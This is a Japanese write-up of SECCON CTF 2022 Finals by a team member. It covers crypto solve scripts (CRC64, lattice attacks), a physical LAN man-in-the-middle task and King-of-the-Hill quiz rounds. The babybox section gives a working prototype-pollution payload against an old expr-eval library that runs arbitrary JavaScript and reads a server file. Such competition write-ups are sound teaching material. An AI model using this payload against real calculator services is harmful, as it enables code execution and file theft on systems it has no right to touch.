SECCON CTF 2022 FinalにチームTSGとしてInternational枠に出場しました。大会はKoH + Jeopardyという問題構成で、Jeopardyは開始時点で全オープンされ（徹夜確定）、KoHは1ラウンド大体1時間のペースの問題が1日目は1問、2日目は2問出題されました（忙しい）。
私はCryptoを中心にJeopardy, KoHにかかわっていました。結果としては10チーム中9位でした。みんなCTFが強すぎる……
Jeopardy
Crypto
Crypto分野は三問出題され、そのうち二問を解きました。基本的にこれを解くために2日溶かした感じです……
authenticator
この問題と次のHellはすでに出題者によるWriteupが公開されていますが、私がやったことを軽くまとめます。
サーバーに接続すると後述するヒントを好きなだけ取得でき、Authコマンドで正しいコードを送信するとフラグがもらえる。
サーバーは64bit秘密鍵keyと5秒ごとに替わるタイムスタンプtを保持しており、ヒントを要求すると crc64(b"hint", crc64((key ^ t).to_bytes(8, "little"), 0)) を返す。crc64関数とAuthのコード判定は次のように定義されている。
def crc64(data: bytes, init: int) -> int:
g = 0xcd8da4ff37e45ec3
crc = init
for x in data:
crc = crc ^ x
for _ in range(8):
crc = ((crc >> 1) ^ (g * (crc & 1))) & 0xffffffffffffffff
return crc
def auth(code: int, t: int) -> bool:
return crc64((key ^ t).to_bytes(8, "little"), code) == code
CRC関数は式をこねくり回すと、内部で使われている次の操作fはXORに対して準同型写像であることが言える（f(x ^ y) = f(x) ^ f(y)）。
f = lambda crc: ((crc >> 1) ^ (g * (crc & 1))) & 0xffffffffffffffff
今回利用できる性質を次にまとめる。
xor = lambda xs, ys: bytes([x^y for x, y in zip(xs, ys)])
# initが0ならバイト列のxorを外に出せる
assert crc64(xor(data0, data1), 0) == crc64(data0, 0) ^ crc64(data1, 0)
# バイト列が0-fillされているならinitのxorを外に出せる
assert crc64(bytes(N), init0 ^ init1) == crc64(bytes(N), init0) ^ crc64(bytes(N), init1)
# initを0にしたもの、バイト列を0埋めしたもののxorに分解できる
assert crc64(data, init) == crc64(data, 0) ^ crc64(bytes(len(data)), init)
つまりヒントに対して次の値を復元できる
hint = crc64(b"hint", crc64((key ^ t).to_bytes(8, "little"), 0))
cx = hint ^ crc64(b"hint", 0)
assert cx == crc64(bytes(4), crc64((key ^ t).to_bytes(8, "little"), 0))
つぎはcrc(bytes(4), ckt) = cxを満たすようなcktの値64bit整数を逆算したい。
cktを ckt == x0 ^ (x1 << 1) ^ (x2 << 2) ^ ... ^ (x63 << 63) というように、各bitx0...x63に分解することで、cx == crc64(bytes(4), x0) ^ crc64(bytes(4), x1 << 1) ^ ... という形に書き換えることができる。ここでx == 0ならcrc(bytes(4), x<<i) == 0であることを利用すると、次のような$GF(2)$の方程式をとくことでcktが求まる。
def to_long(xs: list):
ans = 0
for x in xs[::-1]:
ans <<= 1
ans += int(x)
return ans
def to_bitvec(x: int):
ans = []
for i in range(64):
ans.append(x & 1)
x >>= 1
return ans
def find_ckt(cx: int) -> int:
# find ckt s.t. crc64(bytes(4), ckt) == cx
MS = MatrixSpace(GF(2), 64, 64)
VS = VectorSpace(GF(2), 64)
A_ = []
for i in range(64):
row_num = crc64(bytes(4), 1 << i)
A_.append(to_bitvec(row_num))
A = MS(A_)
CX = to_bitvec(cx)
CKT = A.solve_left(VS(CX)).list()
return int(to_long(CKT))
これでcrc64((key ^ t).to_bytes(8, "little"), 0)が求まった（本当は弱衝突する値を導いた？詳しいことは分かりません）。
最終的に欲しいのはcrc64((key ^ t).to_bytes(8, "little"), code) == codeを満たすcodeだが、これもcrc64((key ^ t).to_bytes(8, "little"), 0) ^ crc64(bytes(8), code) == codeに分解したうえでcodeの各bitに注目することで次のように解ける。
def find_code(ckt: int) -> int:
# find code s.t. ckt == crc64(bytes(8), code) ^ code
MS = MatrixSpace(GF(2), 64, 64)
VS = VectorSpace(GF(2), 64)
A_ = []
for i in range(64):
row_num = crc64(bytes(8), 1 << i) ^^ (1 << i) # crcされたcodeのbitと、元のcodeのbit
A_.append(to_bitvec(row_num))
A = MS(A_)
CX = to_bitvec(ckt)
CODE = A.solve_left(VS(CX)).list()
code = int(to_long(CODE))
return code
これをtが変わる前に送信すればフラグがもらえる。
Hell
Hellだった。$x$の最大次数が$5$のHyperelliptic curveのJacobianに対して、有限体に使われている素数$p$と、フラグをエンコードした点$(x_v,y_v)$のdivisor$D$のスカラー倍$6D, 12D, 20D$が与えられる。Hyperelliptic curveのパラメータを特定し、$D$を逆算するとフラグが得られる。
sagemathの出力結果がもらえるのだが、表示形式がさっぱり分からない。調べるとどうもMumford表現というやつらしいのだが、どこを調べても$y$が含まれる多項式をもつMumford表現が見当たらない。2日目はずっとこれに悩んだ末撃沈した。
結局$y - g(x)$は$g(x)$と同じ意味らしい。Mumford表現で使われる多項式の組$(f(x), g(x))$は、$f(x) = 0, y=g(x)$を満たす$x,y$を表現したものだが、$(f(x), G(x,y))$という形の場合は単に$f(x)=0, G(x,y)=0$を満たす$x,y$を考えればよいらしい。競技後にこれを知りcurveのパラメータは特定できたのだが、結局$D$の逆算はWriteupを見るまで分からなかった。
not new PRNG
格子問。128bit素数$p$と4つの64bit自然数$\hat{x_0},\cdots ,\hat{x_3}$、そして128bitパラメータ$a, b, c, d, \hat{e}$について、次のような線形合同法めいたことをやる
$$
x_4 = a\hat{x_0} + b\hat{x_1} + c\hat{x_2} + d\hat{x_3} + \hat{e} \ \mod p
$$
$$
x_5 = a\hat{x_1} + b\hat{x_2} + c\hat{x_3} + dx_4 + \hat{e} \ \mod p
$$
$$
x_6 = a\hat{x_2} + b\hat{x_3} + cx_4 + dx_5 + \hat{e} \ \mod p
$$
秘密の値にはハット($\hat{\cdot}$)をつけた。ここから$\hat{x_0},\hat{x_1},\hat{x_2},\hat{x_3}$を復元するとフラグが得られる。
まず右辺の$x_4, x_5$を消す。
$$
v_0 = x_4,\ v_1 = x_5 - dx_4,\ v_2 = x_6 - dx_5 - cx_4
$$
次に$e$を消す。
$$
\begin{eqnarray}
w_0 = v_0 - v_1 =& a\hat{x_0} + (b-a)\hat{x_1} + (c-b)\hat{x_2} + (d-c)\hat{x_3} &\mod p \\
w_1 = v_1 - v_2 =& a\hat{x_1} + (b-a)\hat{x_2} + (c-b)\hat{x_3} &\mod p \\
\end{eqnarray}
$$
あとはこれに基づき格子を作り、LLLを適用する。スケーリングしたり$\hat{x}$のオフセットをずらしたり色々試した結果1日目の夜がこれで消失した。
import os
import random
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes
from Crypto.Util.Padding import unpad
from Crypto.Util.number import getPrime
p = 234687789984662131107323206406195107369
a = 35686285754866388325178539790367732387
b = 36011211474181220344603698726947017489
c = 84664322357902232989540976252462702046
d = 154807718022294938130158404283942212610
outs = [222378874028969090293268624578715626424, 42182082074667038745014860626841402403, 217744703567906139265663577111207633608]
iv = "f2dd287ca870eb9908bf52c44dfd9d2b"
ct = "236a6aca059ae29056a23f5458c644abb74640d672dba1ee049eb956e629b7afb03ae33b2b2b419c24197d33baf6d88e2f0eedfa90c06e1a2be18b2fae2270f05ce39de5e0d59bb9a442d1b3eb392658e45cf721094543b13d35df8cf9ce420c"
v0 = outs[0]
v1 = (outs[1] - d * outs[0])
v2 = (outs[2] - c * outs[0] - d * outs[1])
w0 = (v0 - v1)
w1 = (v1 - v2)
w2 = (v0 - v2)
half = 2^63
w0 = (w0 - (half * a + half * (b-a) + half * (c-b) + half * (d-c)))
w1 = (w1 - (half * a + half * (b-a) + half * (c-b)))
w2 = (w2 - (half * a + half * b + half * (c-a) + half * (d-b)))
M = [[0 for i in range(8)] for j in range(8)]
for i in range(4):
M[i][i] = 2 # x0:4
assert p < 2^128
M[4][4] = 2 ^ 64
M[5][5] = p # modulo
M[6][6] = p
M[7][7] = p
M[0][5] = a
M[1][5] = (b-a)
M[2][5] = (c-b)
M[3][5] = (d-c)
M[4][5] = -(w0 % p)
M[1][6] = a
M[2][6] = (b-a)
M[3][6] = (c-b)
M[4][6] = -(w1 % p)
M[0][7] = a
M[1][7] = b
M[2][7] = (c-a)
M[3][7] = (d-b)
M[4][7] = -(w2 % p)
for i in range(8):
for j in range(5, 8):
M[i][j] *= 2 ^ 64
ML = Matrix(M).LLL()
# あとはよしなに...
Web
babybox
関数電卓のようなWebサービスに対し、ヤバい入力を与えサーバー内のフラグを得る。
実装にはexpr-evalというライブラリが使われているが、古いバージョンになっておりprototype pollutionがある。
https://github.com/silentmatt/expr-eval/issues/266
たとえばconstructorと入力すると、Objectのコンストラクタ関数が計算機の環境に登録される。
目標は任意のプログラムを実行できる({}).constructor.constructor('<do something>; return hoge;')なのだが、constructorはパーサーも破壊するためconstructor.constructorを素直に処理してくれない。色々こねくり回した結果
C=constructor;D=C.getOwnPropertyDescriptor(C.__proto__, 'constructor');D.value('return 1;')
で上手く動作した。しかしここでrequire関数が使えないという新たな壁にぶつかる。nodejsグローバル変数のprocessはあるのだが、確かrequireの代用ができる何かがprocessにあったよなーと相談していたら、チームメイトがChatGPTに聞いてくれた。
なんとこれが正解で、fsモジュールを呼び出すことができた。
C=constructor;D=C.getOwnPropertyDescriptor(C.__proto__, 'constructor');D.value('return process.mainModule.require(\"fs\").readFileSync(\"/flag-db13b8d868d890910341170112a75441.txt\").toString();')()
// SECCON{pr0totyp3_po11ution_iS_my_friend}
misc
AliceとBobがDH鍵交換ののちAliceがBobへフラグを送信している。その通信経路のLANケーブルを物理的に触ることができるので中間者攻撃をしようという問題。LANコネクタやスイッチ、カシメ機などが用意され、オンサイトならではの問題だった。
LANケーブルいじりは50分の制限時間があり、2時間前に問題文がもらえる。ARPスプーフィングとか必要になるのかなーと話し合いながら、私はなりすましが上手くいったあとに走らせるDH鍵交換のスクリプトを書いていた。
本番が始まっていまさらLANの色順を知らないことに気付き、チームメイトに調べてもらってその順にコネクターに線を詰めていた。カシメ機を触ったのは4年ぶりくらい。
その後ARPが上手くいかないよ～と苦しんでいたら、そんなことせずともAliceとつないでBobの静的IPに設定すればうまくいくんじゃねという話になり、もろもろのPC作業をチームメイトにやってもらった。ありがとう 
KoF
Witch Quiz
Crypto系のKoF。大体1時間ごとに問題が変わり、その都度解答を送信して点数の高さを競う。
問題の形式は、サーバーが秘密の数列を持っており、プレイヤーはその数列を予測する。すると当たった個数だけ点がもらえるので、それをもとに数列を特定する。5秒に一回しかサブミットできず（これを1tickと呼ぶ）、制限時間がたつとその問題は閉じられるのでめっちゃ忙しい。とりあえず雑なサブミットで点数を確保したのち本命の特定スクリプトの作成に取り掛かる必要がある。
Phase 1
class PureRandom:
def __init__(self) -> None:
# __init__ is called only once at server startup. The answer is saved in a file so that the answer does not change.
server_ans_filename = "purerandom.ans"
if not os.path.isfile(server_ans_filename):
ans = []
for _ in range(540):
ans.append(int(secrets.token_hex(1), 16) % 2)
with open(server_ans_filename, "wb") as f:
pickle.dump(ans, f)
with open(server_ans_filename, "rb") as f:
self.ans = pickle.load(f)
def score(self, tick: int, given_answer: Optional[list[int]]) -> int:
"""
Calculate scores for submitted answers
Parameters
----------
tick: int
`tick` you given as request (1-indexed)
given_answer : int
`given_answer` you given as request
"""
if given_answer == None:
return 0
cnt = 0
# note: Answer may change depending on tick
for l, r in zip(given_answer, [tick] + self.ans):
cnt += (1 if l == r else 0)
# note: The evaluation method may change depending on the problem
if len(given_answer) == 0 or given_answer[0] != [tick]:
return 0
return cnt
ランダムだからお祈りやんと言って0埋めした数列を送信したり、1埋めした数列を送信したりしていたが、一か所だけ1にして残り0にした数列を送信すれば541回で全部特定できるじゃんと気付いたが時すでに遅し。540サブミットするには45分かかるが時間がもうなかった。
Phase 2
class Phase:
def __init__(self):
# __init__ is called only once at server startup. The answer is saved in a file so that the answer does not change.
self.N = 100000
self.phix = random.randrange(0,self.N)
self.phiy = random.randrange(0,self.N)
#public
self.xs = [0, 0, 0, 1, ...]
self.ys = [1, 0, 1, 0, ...]
def create(self):
server_ans_filename = "phase_problem_predicted.ans"
if not os.path.isfile(server_ans_filename):
ans = []
for i in range(self.N):
ans.append(self.xs[(i + self.phix) % self.N] + self.ys[(i + self.phiy)%self.N])
with open(server_ans_filename, "wb") as f:
pickle.dump(ans, f)
with open(server_ans_filename, "rb") as f:
data = pickle.load(f)
self.ans = data
def score(self, tick: int, your_answer: Optional[list[int]]) -> int:
"""
Calculate scores for submitted answers
Parameters
----------
tick: int
`tick` you given as request (1-indexed)
given_answer : int
`your_answer` you given as request
"""
if your_answer == None:
return 0
cnt = 0
for l, r in zip(your_answer, self.ans):
cnt += (1 if l == r else 0)
return cnt
2枚の乱数表が公開されており、それぞれ秘密の位置から読み始め和を取ったものが答え。
チームメイトが一瞬で解法を思いついたので、私は特定のための情報収集用のサブミットを作っていた。
特定方法は
- 一か所を0にして残りを9で埋めた数列
- 一か所を2にして残りを9で埋めた数列
をそれぞれ100個くらい投げることで、読みだした乱数がともに0だった位置と、ともに1だった位置を特定することができる。その情報をもとにxsとysに対してregexで検索すると開始位置を特定できる。
Phase 3
class EC:
def __init__(self, a=None, b=None):
self.p = 1009
self.field = [[0 for i in range(self.p)] for j in range(self.p)]
self.a = random.randrange(1,self.p) if a is None else a
self.b = random.randrange(1,self.p) if b is None else b
# y^2 = x^3 + a*x + b
self.points = []
for x in range(self.p):
for y in range(1, self.p):
if (y*y) % self.p == (x*x*x + self.a * x + self.b) % self.p:
self.points.append((x,y))
self.points.append((x,self.p-y))
self.field[y][x] = 1
self.field[self.p - y][x] = 1
self.x, self.y = self.points[random.randrange(0,len(self.points))]
for p in self.points:
x, y = p
assert y*y % self.p == (x*x*x + self.a * x + self.b) % self.p
assert self.y*self.y % self.p == (self.x*self.x*self.x + self.a * self.x + self.b) % self.p
def get_answer(self, x, y):
ans = [0] * (1009*1009)
for p in self.points:
ans[p[1] * self.p + p[0]] = 1
for i in range(self.p):
ans[i * self.p + x] = 1
ans[y * self.p + i] = 1
return ans
def next(self):
phi = (3*self.x*self.x + self.a) * pow(2*self.y, -1, self.p)
psi = (-3*self.x*self.x*self.x - self.a*self.x + 2 * self.y * self.y) * pow(2*self.y, -1, self.p)
self.x = (phi * phi - 2 * self.x) % self.p
self.y = (-phi * self.x - psi) % self.p
assert self.y*self.y % self.p == (self.x*self.x*self.x + self.a * self.x + self.b) % self.p
楕円曲線上を1tickごとに歩いていき、楕円曲線の部分と今立っている位置の十字部分を1として、残りを0としたものが答え。480tickごとに楕円曲線のパラメータが変わる。
いよいよ解き方が分からず0埋めで投げてしまった。しばらく他チームも似たような感じだったが、1チームだけ2000点ほど余分に稼いでいた気がする。どうにかして十字を当てたのだと思う。
Phase 4
class LCG:
def __init__(self, seed, m):
self.a = 2
self.seed = seed
self.m = m
def rand(self):
self.seed = (self.seed * self.a) % self.m
return self.seed
class RandomRotate:
def __generator(self):
N = 65536 # public
ans = [(x+1) for x in range(N)]
seed = int(secrets.token_hex(8), 16)
m = 27652344047805921227 # public int(secrets.token_hex(16), 16) * 2 + 1
lcg = LCG(seed, m)
for i in range(N-1, 0, -1):
j = lcg.rand() % i
ans[i], ans[j] = ans[j], ans[i]
rotate_sums = [0]
for ticks in range(10000):
rotate_sums.append((rotate_sums[-1] + (lcg.rand() % N)) % N)
return ans, rotate_sums
def __init__(self) -> None:
# __init__ is called only once at server startup. The answer is saved in a file so that the answer does not change.
server_ans_filename = "randomrotate.ans"
if not os.path.isfile(server_ans_filename):
ans, rotate_sums = self.__generator()
with open(server_ans_filename, "wb") as f:
pickle.dump({"answer": ans, "rotate_sums":rotate_sums}, f)
with open(server_ans_filename, "rb") as f:
data = pickle.load(f)
self.ans = data["answer"]
self.rotate_sums = data["rotate_sums"]
def score(self, tick: int, answer: Optional[list[int]]) -> int:
"""
Calculate scores for submitted answers
Parameters
----------
tick: int
`tick` you given as request (1-indexed)
given_answer : int
`answer` you given as request
"""
if answer == None:
return 0
rotate = self.rotate_sums[tick-1]
ans = self.ans[rotate:] + self.ans[:rotate]
cnt = 0
for l, r in zip(answer, ans):
cnt += (1 if l == r else 0)
return cnt
線形合同法によってシャッフルした数列を、毎tickごとに「カット」してから回答と比較する。
「乱数シードの特定とか出そうだよねー」と話してたら本当に出てきたのだが、結局解けなかった。雑に[1,1, ... ,1, 2,2, ... ,2, 3,3, ... , 8,8, ..., 8]を投げておみくじを回すことにした。これなら$p=1/8,n=8$の二項分布に従う点がもらえる。ずっとおみくじを回したが結局4点しかもらえなかった。そして終盤他チームが65536点、即ちシードを特定し満点を取っていた。すごいね。
まとめ
みんな強かったです。Cryptoに苦しみ続け、解いた後はなんでこんなのに苦しんだんだろうという感じで、もっと精進が必要に思いました。